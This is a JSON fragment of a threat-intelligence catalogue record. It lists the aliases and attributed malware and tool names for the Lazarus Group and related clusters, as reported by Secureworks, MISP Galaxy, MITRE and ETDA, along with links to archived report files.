			"created_at": "2025-08-07T02:03:25.087732Z",
			"updated_at": "2026-04-10T02:00:03.776007Z",
			"deleted_at": null,
			"main_name": "NICKEL GLADSTONE",
			"aliases": [
				"APT38 ",
				"ATK 117 ",
				"Alluring Pisces ",
				"Black Alicanto ",
				"Bluenoroff ",
				"CTG-6459 ",
				"Citrine Sleet ",
				"HIDDEN COBRA ",
				"Lazarus Group",
				"Sapphire Sleet ",
				"Selective Pisces ",
				"Stardust Chollima ",
				"T-APT-15 ",
				"TA444 ",
				"TAG-71 "
			],
			"source_name": "Secureworks:NICKEL GLADSTONE",
			"tools": [
				"AlphaNC",
				"Bankshot",
				"CCGC_Proxy",
				"Ratankba",
				"RustBucket",
				"SUGARLOADER",
				"SwiftLoader",
				"Wcry"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "a2b92056-9378-4749-926b-7e10c4500dac",
			"created_at": "2023-01-06T13:46:38.430595Z",
			"updated_at": "2026-04-10T02:00:02.971571Z",
			"deleted_at": null,
			"main_name": "Lazarus Group",
			"aliases": [
				"Operation DarkSeoul",
				"Bureau 121",
				"Group 77",
				"APT38",
				"NICKEL GLADSTONE",
				"G0082",
				"COPERNICIUM",
				"Moonstone Sleet",
				"Operation GhostSecret",
				"APT 38",
				"Appleworm",
				"Unit 121",
				"ATK3",
				"G0032",
				"ATK117",
				"NewRomanic Cyber Army Team",
				"Nickel Academy",
				"Sapphire Sleet",
				"Lazarus group",
				"Hastati Group",
				"Subgroup: Bluenoroff",
				"Operation Troy",
				"Black Artemis",
				"Dark Seoul",
				"Andariel",
				"Labyrinth Chollima",
				"Operation AppleJeus",
				"COVELLITE",
				"Citrine Sleet",
				"DEV-0139",
				"DEV-1222",
				"Hidden Cobra",
				"Bluenoroff",
				"Stardust Chollima",
				"Whois Hacking Team",
				"Diamond Sleet",
				"TA404",
				"BeagleBoyz",
				"APT-C-26"
			],
			"source_name": "MISPGALAXY:Lazarus Group",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "32a223a8-3c79-4146-87c5-8557d38662ae",
			"created_at": "2022-10-25T15:50:23.703698Z",
			"updated_at": "2026-04-10T02:00:05.261989Z",
			"deleted_at": null,
			"main_name": "Lazarus Group",
			"aliases": [
				"Lazarus Group",
				"Labyrinth Chollima",
				"HIDDEN COBRA",
				"Guardians of Peace",
				"NICKEL ACADEMY",
				"Diamond Sleet"
			],
			"source_name": "MITRE:Lazarus Group",
			"tools": [
				"RawDisk",
				"Proxysvc",
				"BADCALL",
				"FALLCHILL",
				"WannaCry",
				"MagicRAT",
				"HOPLIGHT",
				"TYPEFRAME",
				"Dtrack",
				"HotCroissant",
				"HARDRAIN",
				"Dacls",
				"KEYMARBLE",
				"TAINTEDSCRIBE",
				"AuditCred",
				"netsh",
				"ECCENTRICBANDWAGON",
				"AppleJeus",
				"BLINDINGCAN",
				"ThreatNeedle",
				"Volgmer",
				"Cryptoistic",
				"RATANKBA",
				"Bankshot"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "f32df445-9fb4-4234-99e0-3561f6498e4e",
			"created_at": "2022-10-25T16:07:23.756373Z",
			"updated_at": "2026-04-10T02:00:04.739611Z",
			"deleted_at": null,
			"main_name": "Lazarus Group",
			"aliases": [
				"APT-C-26",
				"ATK 3",
				"Appleworm",
				"Citrine Sleet",
				"DEV-0139",
				"Diamond Sleet",
				"G0032",
				"Gleaming Pisces",
				"Gods Apostles",
				"Gods Disciples",
				"Group 77",
				"Guardians of Peace",
				"Hastati Group",
				"Hidden Cobra",
				"ITG03",
				"Jade Sleet",
				"Labyrinth Chollima",
				"Lazarus Group",
				"NewRomanic Cyber Army Team",
				"Operation 99",
				"Operation AppleJeus",
				"Operation AppleJeus sequel",
				"Operation Blockbuster: Breach of Sony Pictures Entertainment",
				"Operation CryptoCore",
				"Operation Dream Job",
				"Operation Dream Magic",
				"Operation Flame",
				"Operation GhostSecret",
				"Operation In(ter)caption",
				"Operation LolZarus",
				"Operation Marstech Mayhem",
				"Operation No Pineapple!",
				"Operation North Star",
				"Operation Phantom Circuit",
				"Operation Sharpshooter",
				"Operation SyncHole",
				"Operation Ten Days of Rain / DarkSeoul",
				"Operation Troy",
				"SectorA01",
				"Slow Pisces",
				"TA404",
				"TraderTraitor",
				"UNC2970",
				"UNC4034",
				"UNC4736",
				"UNC4899",
				"UNC577",
				"Whois Hacking Team"
			],
			"source_name": "ETDA:Lazarus Group",
			"tools": [
				"3CX Backdoor",
				"3Rat Client",
				"3proxy",
				"AIRDRY",
				"ARTFULPIE",
				"ATMDtrack",
				"AlphaNC",
				"Alreay",
				"Andaratm",
				"AngryRebel",
				"AppleJeus",
				"Aryan",
				"AuditCred",
				"BADCALL",
				"BISTROMATH",
				"BLINDINGCAN",
				"BTC Changer",
				"BUFFETLINE",
				"BanSwift",
				"Bankshot",
				"Bitrep",
				"Bitsran",
				"BlindToad",
				"Bookcode",
				"BootWreck",
				"BottomLoader",
				"Brambul",
				"BravoNC",
				"Breut",
				"COLDCAT",
				"COPPERHEDGE",
				"CROWDEDFLOUNDER",
				"Castov",
				"CheeseTray",
				"CleanToad",
				"ClientTraficForwarder",
				"CollectionRAT",
				"Concealment Troy",
				"Contopee",
				"CookieTime",
				"Cyruslish",
				"DAVESHELL",
				"DBLL Dropper",
				"DLRAT",
				"DRATzarus",
				"DRATzarus RAT",
				"Dacls",
				"Dacls RAT",
				"DarkComet",
				"DarkKomet",
				"DeltaCharlie",
				"DeltaNC",
				"Dembr",
				"Destover",
				"DoublePulsar",
				"Dozer",
				"Dtrack",
				"Duuzer",
				"DyePack",
				"ECCENTRICBANDWAGON",
				"ELECTRICFISH",
				"Escad",
				"EternalBlue",
				"FALLCHILL",
				"FYNLOS",
				"FallChill RAT",
				"Farfli",
				"Fimlis",
				"FoggyBrass",
				"FudModule",
				"Fynloski",
				"Gh0st RAT",
				"Ghost RAT",
				"Gopuram",
				"HARDRAIN",
				"HIDDEN COBRA RAT/Worm",
				"HLOADER",
				"HOOKSHOT",
				"HOPLIGHT",
				"HOTCROISSANT",
				"HOTWAX",
				"HTTP Troy",
				"Hawup",
				"Hawup RAT",
				"Hermes",
				"HotCroissant",
				"HotelAlfa",
				"Hotwax",
				"HtDnDownLoader",
				"Http Dr0pper",
				"ICONICSTEALER",
				"Joanap",
				"Jokra",
				"KANDYKORN",
				"KEYMARBLE",
				"Kaos",
				"KillDisk",
				"KillMBR",
				"Koredos",
				"Krademok",
				"LIGHTSHIFT",
				"LIGHTSHOW",
				"LOLBAS",
				"LOLBins",
				"Lazarus",
				"LightlessCan",
				"Living off the Land",
				"MATA",
				"MBRkiller",
				"MagicRAT",
				"Manuscrypt",
				"Mimail",
				"Mimikatz",
				"Moudour",
				"Mydoom",
				"Mydoor",
				"Mytob",
				"NACHOCHEESE",
				"NachoCheese",
				"NestEgg",
				"NickelLoader",
				"NineRAT",
				"Novarg",
				"NukeSped",
				"OpBlockBuster",
				"PCRat",
				"PEBBLEDASH",
				"PLANKWALK",
				"POOLRAT",
				"PSLogger",
				"PhanDoor",
				"Plink",
				"PondRAT",
				"PowerBrace",
				"PowerRatankba",
				"PowerShell RAT",
				"PowerSpritz",
				"PowerTask",
				"Preft",
				"ProcDump",
				"Proxysvc",
				"PuTTY Link",
				"QUICKRIDE",
				"QUICKRIDE.POWER",
				"Quickcafe",
				"QuiteRAT",
				"R-C1",
				"ROptimizer",
				"Ratabanka",
				"RatabankaPOS",
				"Ratankba",
				"RatankbaPOS",
				"RawDisk",
				"RedShawl",
				"Rifdoor",
				"Rising Sun",
				"Romeo-CoreOne",
				"RomeoAlfa",
				"RomeoBravo",
				"RomeoCharlie",
				"RomeoCore",
				"RomeoDelta",
				"RomeoEcho",
				"RomeoFoxtrot",
				"RomeoGolf",
				"RomeoHotel",
				"RomeoMike",
				"RomeoNovember",
				"RomeoWhiskey",
				"Romeos",
				"RustBucket",
				"SHADYCAT",
				"SHARPKNOT",
				"SIGFLIP",
				"SIMPLESEA",
				"SLICKSHOES",
				"SORRYBRUTE",
				"SUDDENICON",
				"SUGARLOADER",
				"SheepRAT",
				"SierraAlfa",
				"SierraBravo",
				"SierraCharlie",
				"SierraJuliett-MikeOne",
				"SierraJuliett-MikeTwo",
				"SimpleTea",
				"SimplexTea",
				"SmallTiger",
				"Stunnel",
				"TAINTEDSCRIBE",
				"TAXHAUL",
				"TFlower",
				"TOUCHKEY",
				"TOUCHMOVE",
				"TOUCHSHIFT",
				"TOUCHSHOT",
				"TWOPENCE",
				"TYPEFRAME",
				"Tdrop",
				"Tdrop2",
				"ThreatNeedle",
				"Tiger RAT",
				"TigerRAT",
				"Trojan Manuscript",
				"Troy",
				"TroyRAT",
				"VEILEDSIGNAL",
				"VHD",
				"VHD Ransomware",
				"VIVACIOUSGIFT",
				"VSingle",
				"ValeforBeta",
				"Volgmer",
				"Vyveva",
				"W1_RAT",
				"Wana Decrypt0r",
				"WanaCry",
				"WanaCrypt",
				"WanaCrypt0r",
				"WannaCry",
				"WannaCrypt",
				"WannaCryptor",
				"WbBot",
				"Wcry",
				"Win32/KillDisk.NBB",
				"Win32/KillDisk.NBC",
				"Win32/KillDisk.NBD",
				"Win32/KillDisk.NBH",
				"Win32/KillDisk.NBI",
				"WinorDLL64",
				"Winsec",
				"WolfRAT",
				"Wormhole",
				"YamaBot",
				"Yort",
				"ZetaNile",
				"concealment_troy",
				"http_troy",
				"httpdr0pper",
				"httpdropper",
				"klovbot",
				"sRDI"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434574,
	"ts_updated_at": 1775826750,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/03f033b0c3227de6c972a5b1f51af489130779fd.pdf",
		"text": "https://archive.orkl.eu/03f033b0c3227de6c972a5b1f51af489130779fd.txt",
		"img": "https://archive.orkl.eu/03f033b0c3227de6c972a5b1f51af489130779fd.jpg"
	}
}